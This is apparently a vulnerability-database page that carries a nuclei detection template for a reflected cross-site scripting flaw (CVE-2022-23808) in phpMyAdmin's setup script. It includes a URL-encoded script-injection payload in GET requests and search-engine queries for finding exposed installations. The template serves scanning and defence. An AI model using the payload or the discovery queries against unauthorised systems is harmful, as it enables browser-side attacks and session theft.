Lucene search
K

phpMyAdmin < 5.1.2 - Cross-Site Scripting

🗓️ 04 Jul 2026 03:00:48Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 39 Views

phpMyAdmin < 5.1.2 - Cross-Site Scripting vulnerability allows code injectio

Related
Refs
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Cross-site Scripting in Phpmyadmin
1 Feb 202217:02
githubexploit
GithubExploit
Exploit for Cross-site Scripting in Phpmyadmin
1 Feb 202217:02
githubexploit
AlpineLinux
CVE-2022-23808
22 Jan 202200:00
alpinelinux
Circl
CVE-2022-23808
22 Jan 202207:13
circl
CNNVD
phpMyAdmin 跨站脚本漏洞
22 Jan 202200:00
cnnvd
CNVD
phpMyAdmin Cross-Site Scripting Vulnerability (CNVD-2022-08031)
25 Jan 202200:00
cnvd
CVE
CVE-2022-23808
22 Jan 202200:00
cve
Cvelist
CVE-2022-23808
22 Jan 202200:00
cvelist
Debian CVE
CVE-2022-23808
22 Jan 202200:00
debiancve
Fedora
[SECURITY] Fedora 35 Update: phpMyAdmin-5.1.2-1.fc35
2 Feb 202201:26
fedora
Rows per page
id: CVE-2022-23808

info:
  name: phpMyAdmin < 5.1.2 - Cross-Site Scripting
  author: cckuailong,daffainfo
  severity: medium
  description: An issue was discovered in phpMyAdmin 5.1 before 5.1.2 that could allow an attacker to inject malicious code into aspects of the setup script, which can allow cross-site or HTML injection.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the targeted user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Upgrade phpMyAdmin to version 5.1.2 or later to mitigate this vulnerability.
  reference:
    - https://mp.weixin.qq.com/s/c2kwxwVUn1ym7oqv9Uio_A
    - https://github.com/dipakpanchal456/CVE-2022-23808
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23808
    - https://www.phpmyadmin.net/security/PMASA-2022-2/
    - https://infosecwriteups.com/exploit-cve-2022-23808-85041c6e5b97
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-23808
    cwe-id: CWE-79
    epss-score: 0.07936
    epss-percentile: 0.94025
    cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: phpmyadmin
    product: phpmyadmin
    shodan-query:
      - http.component:"phpmyadmin"
      - http.title:"phpmyadmin"
      - cpe:"cpe:2.3:a:phpmyadmin:phpmyadmin"
    fofa-query:
      - title="phpmyadmin"
      - body="pma_servername" && body="4.8.4"
    google-query: intitle:"phpmyadmin"
    hunter-query: app.name="phpmyadmin"&&web.body="pma_servername"&&web.body="4.8.4"
  tags: cve,cve2022,phpmyadmin,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/phpmyadmin/setup/index.php?page=servers&mode=test&id=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
      - "{{BaseURL}}/setup/index.php?page=servers&mode=test&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"></script><script>alert(document.domain)</script>"
          - "<h2>Add a new server</h2>"
          - "<title>phpMyAdmin setup"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a278e7009146b419632c7cba51b68a92550d6bf23a02de80ec2548227105ab5c022025196f07c760bc9ecdcc4769fc2938273f72328e0353b5f453f026cc83f6d9dd:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 24.3
CVSS 3.16.1
EPSS0.07936
SSVC
39